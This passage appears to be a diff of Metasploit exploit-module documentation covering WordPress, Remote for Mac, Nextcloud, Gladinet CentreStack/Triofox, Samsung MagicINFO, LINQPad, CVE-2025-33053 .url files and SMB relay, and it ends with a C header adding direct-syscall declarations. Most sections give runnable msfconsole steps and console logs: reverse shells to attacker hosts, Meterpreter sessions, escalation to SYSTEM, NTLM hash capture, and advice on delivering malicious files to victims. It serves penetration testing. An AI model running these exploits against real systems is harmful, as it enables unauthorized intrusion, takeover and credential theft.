[+] User registered: eviluser
[*] Escalating to administrator...
[+] Administrator created: eviluser:Str0ngP@ss!
[*] Authenticating via wp-login.php…
[!] wp-login.php failed—trying plugin login page
[+] Authenticated via plugin login page
[*] Uploading malicious plugin...
[*] Executing payload at /wp-content/plugins/wp_rxrpu/ajax_1vxd2.php...
[*] Sending stage (40004 bytes) to 172.27.0.3
[+] Deleted ajax_1vxd2.php
[+] Deleted wp_rxrpu.php
[+] Deleted ../wp_rxrpu
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.27.0.3:41616) at 2025-05-09 16:55:20 +0200
meterpreter > sysinfo
Computer : 111d64934b4f
OS : Linux 111d64934b4f 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
Meterpreter : php/linux
```
**Expected Results (Command payload):**
```plaintext
msf6 exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] Detected user-registration version 4.1.1
[+] The target appears to be vulnerable.
[*] Registering new user with free membership...
[+] User registered: eviluser2
[*] Escalating to administrator...
[+] Administrator created: eviluser2:Str0ngP@ss!
[*] Authenticating via wp-login.php…
[!] wp-login.php failed—trying plugin login page
[+] Authenticated via plugin login page
[*] Uploading malicious plugin...
[*] Executing payload at /wp-content/plugins/wp_mwtqu/ajax_nncym.php...
[*] Sending stage (3045380 bytes) to 172.27.0.3
[+] Deleted ajax_nncym.php
[+] Deleted wp_mwtqu.php
[+] Deleted ../wp_mwtqu
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.3:59124) at 2025-05-09 16:56:39 +0200
meterpreter > sysinfo
Computer : 172.27.0.3
OS : Debian 12.10 (Linux 6.14.2-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,40 @@
# Module Documentation: Remote for Mac 2025.6 - Unauthenticated RCE
## Overview
This module exploits an unauthenticated remote code execution (RCE) vulnerability in **Remote for Mac 2025.6**. When the **"Allow unknown devices"** setting is enabled (disabled by default), the `/api/executeScript` endpoint allows unauthenticated attackers to execute arbitrary AppleScript commands, including shell commands, on the target macOS system.
**Exploit Author:** [Chokri Hammedi](https://packetstormsecurity.com/files/195347/)
**Module Path:** `modules/exploits/osx/http/remote_for_mac_rce.rb`
## Vulnerable Application
- **Vendor:** Evgeny Cherpak
- **Homepage:** [https://cherpake.com/](https://cherpake.com/)
- **Download:** [https://cherpake.com/latest.php?os=mac](https://cherpake.com/latest.php?os=mac)
- **Affected Version:** Remote for Mac 2025.6
- **Tested on:** macOS Mojave 10.14.6
## Vulnerability Details
- **Endpoint:** `/api/executeScript`
- **Vulnerability:** Missing authentication
- **Trigger Condition:** The app must have **"Allow unknown devices"** enabled.
- **Impact:** Full command execution as the logged-in user.
The exploit sends a specially crafted GET request with AppleScript payload headers to the unauthenticated endpoint. The server executes the `do shell script` AppleScript, leading to remote command execution.
## Usage Example
From within `msfconsole`:
```bash
use exploit/osx/http/remote_for_mac_rce
set RHOSTS 192.168.1.100
set RPORT 443
set SSL true
set PAYLOAD cmd/unix/reverse_bash
set LHOST 192.168.1.50
run
@@ -0,0 +1,148 @@
## Description
This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed.
The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0
A missing scope validation allowed users to create workflows which are designed to be only available for administrators. In combination with Workflow External Script, this vulnerability
leads to authenticated remote command execution.
More about the vulnerability detail: [CVE-2023-26482](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26482).
The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.
The module will check if the target is vulnerable, by adding and removing a dummy-workflow.
## Vulnerable Application
[Nextcloud](https://nextcloud.com/) is a suite of client-server software for creating and using file hosting services.
This module has been tested successfully on Nextcloud versions:
* Nextcloud version 24.0.5
### Source and Installers
* [Source Code Repository](https://github.com/nextcloud/server/releases/tag/v24.0.5)
* [Docker](https://hub.docker.com/_/nextcloud)
### Docker Installation
This exploit was tested using a [nextcloud docker container](https://hub.docker.com/_/nextcloud) and [docker-compose](https://docs.docker.com/compose/)
with the following docker-compose.yml:
```yaml
volumes:
nextcloud:
db:
services:
db:
image: mariadb:10.6
restart: always
command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
volumes:
- db:/var/lib/mysql
environment:
- MARIADB_ROOT_PASSWORD=root
- MARIADB_PASSWORD=root
- MARIADB_DATABASE=nextcloud
- MARIADB_USER=nextcloud
app:
image: nextcloud:24.0.5
restart: always
ports:
- 8080:80
links:
- db
environment:
- MYSQL_PASSWORD=root
- MYSQL_DATABASE=nextcloud
- MYSQL_USER=root
- MYSQL_HOST=db
- NEXTCLOUD_ADMIN_PASSWORD=admin
- NEXTCLOUD_ADMIN_USER=admin
- NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
depends_on:
- db
```
**_NOTE:_** Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup
After `docker compose up -d` login as admin and install the workflow app: "Workflow external script" and
create a low privileged user `alice`. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:
```
docker exec -it -u www-data nextcloud-app-1 /bin/bash
watch -n2 php cron.php
```
Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".
## Verification Steps
Example steps in this format (is also in the PR):
1. Do: `use exploit/unix/webapp/nextcloud_workflows_rce`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `set RPORT 8080`
5. Do: `set USERNAME alice`
6. Do: `set PASSWORD alice-password`
7. Do: `run`
8. You should get a shell after a while
## Options
### TARGETURI
Remote web path to the nextcloud installation (default: /)
### USERNAME
The low-privileged username to authenticate to nextcloud
### PASSWORD
The password for the low-privileged user
## Scenarios
In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.
### Nextcloud 24.0.5(docker-compose)
The following demo shows how to use the exploit:
```
msf6 > use exploit/unix/webapp/nextcloud_workflows_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
RHOSTS => 192.168.233.64
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
USERNAME => alice
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
PASSWORD => CaeD4ohchaiv5ieDooBa
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.233.64
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
[+] Payload connected!
[*] Cleaning up
meterpreter > getuid
Server username: www-data
```
## Limitations
Ensure that your `WfsDelay` advanced option is set to a value that allows `cron` to execute the payload. Default is 16 minutes
@@ -0,0 +1,52 @@
## Vulnerable Application
This module exploits a stack buffer overflow in Microsoft Visual
Studio 6.0. When passing a specially crafted string to the Mask
parameter of the Mdmask32.ocx ActiveX Control, an attacker may
be able to execute arbitrary code.
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/windows/browser/ms08_070_visual_studio_msmask`
1. Do: `set SRVHOST [host]`
1. Do: `set SRVPORT [port]`
1. Do: `set URIPATH [uri]`
1. Do: `set PAYLOAD [payload]`
1. Do: `run`
1. Open the server URL on a vulnerable system
## Options
### URIPATH
The server URI path to use. (default: `/`)
## Scenarios
### Windows XP SP3 (x86) (English)
```
msf6 > use exploit/windows/browser/ms08_070_visual_studio_msmask
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvhost 0.0.0.0
srvhost => 0.0.0.0
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvport 8080
srvport => 8080
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using URL: http://192.168.200.130:8080/
[*] Server started.
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) >
[*] 192.168.200.173 ms08_070_visual_studio_msmask - Sending Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow
[*] Sending stage (240 bytes) to 192.168.200.173
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1052) at 2025-06-22 03:01:18 -0400
```
@@ -0,0 +1,87 @@
## Vulnerable Application
This module exploits a stack buffer overflow in Microsoft Visual Basic
6.0. A specially crafted Visual Basic Project (VBP) file containing
a long reference line can be used to execute arbitrary code.
This module has been tested successfully on:
* Windows XP Home SP0 (x86) (English)
* Windows XP Professional SP0 (x86) (English)
* Windows XP Professional SP1 (x86-64) (English)
* Windows XP Professional SP2 (x86-64) (English)
* Windows XP Professional SP3 (x86) (English)
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/windows/fileformat/ms_visual_basic_vbp`
1. Do: `set filename [filename.vbp]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `set payload windows/shell/reverse_tcp`
1. Do: `run`
1. Do: `use exploit/multi/handler`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `set payload windows/shell/reverse_tcp`
1. Do: `run -jz`
1. Open `/home/user/.msf4/local/msf.vbp` on a vulnerable system
## Options
### FILENAME
The project file name. (Default: `msf.vbp`).
## Scenarios
### Windows XP SP3 (x86) (English)
```
msf6 > use exploit/windows/fileformat/ms_visual_basic_vbp
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Windows XP SP0-SP3 (x86) (English)
1 Windows XP SP1-SP2 (x86-64) (English)
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > run
[*] Creating 'msf.vbp' file for Windows XP SP0-SP3 (x86) (English) ...
[+] msf.vbp stored at /home/user/.msf4/local/msf.vbp
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handler) > run -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.200.130:4444
msf6 exploit(multi/handler) > mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp
[*] exec: mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp
msf6 exploit(multi/handler) >
[*] Sending stage (240 bytes) to 192.168.200.173
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1037) at 2025-06-21 08:03:44 -0400
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
```
@@ -0,0 +1,104 @@
## Vulnerable Application
CVE-2025-33053 - Internet Shortcut (.url) UNC Path Exploit
Windows improperly handles `.url` (Internet Shortcut) files referencing remote
UNC paths. Specifically, `.url` files that specify a remote working directory
(`WorkingDirectory=\\attacker\webdav`) and a trusted executable (e.g.,
`iediagcmd.exe`) may cause the system to access the attacker's server when opened.
This behavior can be exploited to:
- Trigger NTLM authentication leaks (SMB relay)
- Load remote payloads via WebDAV shares
- Attempt DLL sideloading if conditions allow
## Affected Versions
- Windows 10 22H2
- Windows 11 23H2
- Fully patched prior to June 2025 Patch Tuesday
## Verification Steps
1. Run: `use windows/fileformat/unc_url_cve_2025_33053`
2. Run: `set LHOST [IP address]`
3. Run: `set SRVHOST [IP address]`
4. Run: `run`
5. Deliver the `.url` to the target (email, USB, zip)
6. On victim's machine, open `.url`
7. Payload execution
### Overview
This module generates a malicious `.url` Internet Shortcut file that abuses
CVE-2025-33053 — a vulnerability in how Windows handles `.url` files referencing remote UNC
paths.
When opened on a vulnerable system, the `.url` causes the system to connect to a
UNC path(e.g., a WebDAV or SMB share), triggering an attempt to execute a trusted binary
from the attacker's location. This can result in RCE or credential leaks.
## Options
### OUTFILE
This option allows user to define their own .url file. If this option is not set, the module will generate random .url file - `YWSXVjpW.url`.
### FOLDER_NAME
The `FOLDER_NAME` option defines SMB share folder, where the final payload file is stored. Generally can be anything, default is `webdav`.
### FILE_NAME
This option defines payload file stored in SMB share. This option should not change as it is bound to executable in `URL` parameter of `.url` file. The default value is `explorer.exe`.
## Scenarios
```
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > run verbose=true
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > [*] Started reverse TCP handler on 192.168.3.7:4444
[*] URL file: /home/ms/.msf4/local/YWSXVjpW.url, deliver to target's machine and wait for shell
[*] Run following: curl http://192.168.3.7:8080/YWSXVjpW.url -o YWSXVjpW.url
[*] Server is running. Listening on 192.168.3.7:4445
[*] The SMB service has been started.
[*] Received SMB connection from 10.5.132.137
[SMB] NTLMv2-SSP Client : 10.5.132.137
[SMB] NTLMv2-SSP Username : WIN10_22H2_7FD2\msfuser
[SMB] NTLMv2-SSP Hash : msfuser::WIN10_22H2_7FD2:[HASH]
[*] Sending stage (203846 bytes) to 10.5.132.137
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.137:49740) at 2025-06-24 16:08:56 +0200
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows WIN10_22H2_7FD2\msfuser @ WIN10_22H2_7FD2 192.168.3.7:4444 -> 10.5.132.137:49740 (10.5.132.137)
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN10_22H2_7FD2
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
```
## References
- [GitHub PoC](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-33053)
- [LOLBAS Project](https://lolbas-project.github.io)
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053)
@@ -0,0 +1,110 @@
## Vulnerable Application
A vulnerability in Gladinet CentreStack and Triofox application using hardcoded cryptographic keys for ViewState
could allow an attacker to forge ViewState data.
This can lead to unauthorized actions such as remote code execution.
Both applications make use of a hardcoded machineKey in the IIS web.config file, which is responsible for securing
ASP.NET ViewState data. If an attacker obtains the machineKey, they can forge ViewState payloads that pass integrity checks.
This can result in ViewState deserialization attacks, potentially leading to remote code execution (RCE) on the web server.
* Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368).
* Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372)
The following releases were tested.
**Gladinet CentreStack and Triofox:**
* Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019
* Gladinet Triofox Build 16.1.10296.56315 on Windows Server 2019
## Installation steps to install Gladinet CentreStack or Triofox Enterprise Editions
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download an evaluation Windows Server iso image (2016, 2019 or 2022) and install it as a VM on your virtualization engine.
* Note: Google is your best friend on how to do this ;-)
* Download the [Gladinet CentreStack gui installer](https://www.centrestack.com/p/gce_latest_release.html) or...
* Download the [Gladinet Triofox gui installer](https://access.triofox.com/releases_history/).
* Note: For Triofox, you will need a free trail account to reach the installer page.
* Run the gui installer on your Windows VM.
* Reboot your VM and you should be able to access the application via `https://your_ip/portal/loginpage.aspx`.
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Windows Command>`
- [ ] `exploit`
- [ ] you should get a `shell` or `Meterpreter` session depending on the `payload` and `target` settings
## Options
No specific options defined for this module.
## Scenarios
### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Windows Command target
```msf
msf6 > use exploits/windows/http/gladinet_viewstate_deserialization_cve_2025_30406
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > set rhosts 192.168.201.5
rhosts => 192.168.201.5
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. CentreStack (Build 16.1.10296.56315)
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
[*] Sending stage (203846 bytes) to 192.168.201.5
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.5:49897) at 2025-05-02 20:36:56 +0000
meterpreter > getuid
Server username: IIS APPPOOL\portal
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
### Gladinet Triofox Build 16.1.10296.56315 on Windows Server 2019 - Windows Command target
```msf
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Triofox (Build 16.1.10296.56315)
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
[*] Sending stage (203846 bytes) to 192.168.201.6
[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.6:56815) at 2025-05-02 19:55:59 +0000
meterpreter > getuid
Server username: IIS APPPOOL\portal
meterpreter > sysinfo
Computer : WIN-HHRQENPDSRS
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : EVIL
Logged On Users : 14
Meterpreter : x64/windows
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
## Limitations
No limitations identified.
@@ -0,0 +1,72 @@
## Vulnerable Application
**Vulnerability Description**
This module exploits a path traversal vulnerability in Samsung MagicINFO 9 <= 21.1050.0 (CVE-2024-7399).
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
which can be queried by an unauthenticated user to upload a JSP shell.
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT
AUTHORITY\SYSTEM.
**Vulnerable Application Installation**
A trial version of the software can be obtained from [the vendor]
(https://www.samsung.com/us/business/solutions/digital-signage-solutions/magicinfo/).
**Successfully tested on**
- MagicINFO 9 21.1040.2 on Windows 10 (22H2)
## Verification Steps
1. Install Postgres or MySQL
2. Install the application
3. Activate the license
4. Start `msfconsole` and run the following commands:
```
msf6 > use exploit/windows/http/magicinfo_traversal
msf6 exploit(windows/http/magicinfo_traversal) > set RHOSTS <IP>
msf6 exploit(windows/http/magicinfo_traversal) > exploit
```
You should get a shell in the context of `NY AUTHORITY\SYSTEM`.
## Options
### DEPTH
The traversal depth. The FILE path will be prepended with ../ * DEPTH.
## Scenarios
Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the
following:
```
msf6 exploit(windows/http/magicinfo_traversal) > exploit
[*] Started reverse TCP handler on 192.168.137.204:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] MagicINFO version detected: MagicINFO 9 Server 21.1040.2
[+] The target appears to be vulnerable.
[*] Uploading payload...
[*] Upload successful
[*] Payload executed!
[*] Command shell session 3 opened (192.168.137.204:4444 -> 192.168.137.230:50038) at 2025-05-14 17:36:47 -0400
Shell Banner:
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.
C:\MagicInfo Premium\tomcat\bin>
-----
C:\MagicInfo Premium\tomcat\bin>whoami
whoami
nt authority\system
C:\MagicInfo Premium\tomcat\bin>
```
@@ -0,0 +1,55 @@
## LINQPad 5.48 Deserialization
LINQPad is a scratchpad for .NET programming. Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/).
## Verification Steps
Steps:
1. Install the application
2. Start msfconsole
3. Get Meterpreter/cmd shell
4. Run: `use windows/local/linqpad_deserialization`
5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters
5. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup`
6. Run exploit
## Options
### cleanup
Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad.
### cache\_path
The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file.
### linqpad\_path
Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit.
Example:
```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 192.168.95.128
msf6 exploit(multi/handler) > set LPORT 4242
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.95.128:4242
[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use windows/local/linqpad_deserialization
msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
msf6 exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd
msf6 exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad
msf6 exploit(windows/local/linqpad_deserialization) > set CMD calc.exe
msf6 exploit(windows/local/linqpad_deserialization) > set session 1
msf6 exploit(windows/local/linqpad_deserialization) > exploit
[*] Exploit completed, but no session was created.
```
Previous example will run `calc.exe` when LINQPad will start.
@@ -1,7 +1,7 @@
## Vulnerable Application
This module supports running an SMB server which validates credentials, and then attempts to
execute a relay attack against the configured RELAY_TARGETS hosts.
execute a relay attack against the configured RHOSTS hosts.
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
@@ -75,7 +75,7 @@ flowchart LR
## Options
### RELAY_TARGETS
### RHOSTS
Target address range or CIDR identifier to relay to
@@ -162,8 +162,8 @@ Active sessions
Multiple targets can be relayed to:
```
msf6 exploit(windows/smb/smb_relay) > set RELAY_TARGETS 192.168.123.4 192.168.123.25
RELAY_TARGETS => 192.168.123.4 192.168.123.25
msf6 exploit(windows/smb/smb_relay) > set RHOSTS 192.168.123.4 192.168.123.25
RHOSTS => 192.168.123.4 192.168.123.25
msf6 exploit(windows/smb/smb_relay) >
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] JTR hashes will be split into two files depending on the hash format.
@@ -261,8 +261,8 @@ Server:
```
msf6 exploit(windows/smb/smb_relay) > set JOHNPWFILE ./relay_results.txt
JOHNPWFILE => ./relay_results.txt
msf6 exploit(windows/smb/smb_relay) > set RELAY_TARGETS 192.168.123.4 192.168.123.25
RELAY_TARGETS => 192.168.123.4 192.168.123.25
msf6 exploit(windows/smb/smb_relay) > set RHOSTS 192.168.123.4 192.168.123.25
RHOSTS => 192.168.123.4 192.168.123.25
msf6 exploit(windows/smb/smb_relay) > run
[*] Exploit running as background job 9.
[*] Exploit completed, but no session was created.
+41 -26
View File
@@ -58,7 +58,7 @@ typedef struct _PEB {
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
} _bitField;
};
HANDLE Mutant;
@@ -84,7 +84,7 @@ typedef struct _PEB {
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1;
ULONG ReservedBits0 : 24;
};
} _crossProcessFlags;
};
union
{
@@ -145,7 +145,7 @@ typedef struct _LDR_DATA_TABLE_ENTRY {
{
PVOID SectionPointer;
ULONG CheckSum;
};
} _hashLinks;
};
union
{
@@ -184,6 +184,30 @@ typedef ULONG(NTAPI *_EtwEventWriteFull)(
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
);
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);
typedef NTSTATUS(NTAPI* pNtReadVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesRead
);
// Windows 7 SP1 / Server 2008 R2 specific Syscalls
EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
EXTERN_C NTSTATUS ZwReadVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
@@ -202,33 +226,24 @@ EXTERN_C NTSTATUS ZwWriteVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, P
// Windows 10 / Server 2016 specific Syscalls
#ifdef _X64
EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
EXTERN_C NTSTATUS ZwReadVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
#else
EXTERN_C NTSTATUS ZwProtectVirtualMemory10_1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
EXTERN_C NTSTATUS ZwReadVirtualMemory10_1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
EXTERN_C NTSTATUS ZwProtectVirtualMemory10_2(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
EXTERN_C NTSTATUS ZwReadVirtualMemory10_2(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
EXTERN_C NTSTATUS ZwProtectVirtualMemory10_3(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
EXTERN_C NTSTATUS ZwReadVirtualMemory10_3(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
EXTERN_C NTSTATUS ZwProtectVirtualMemory10_4(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
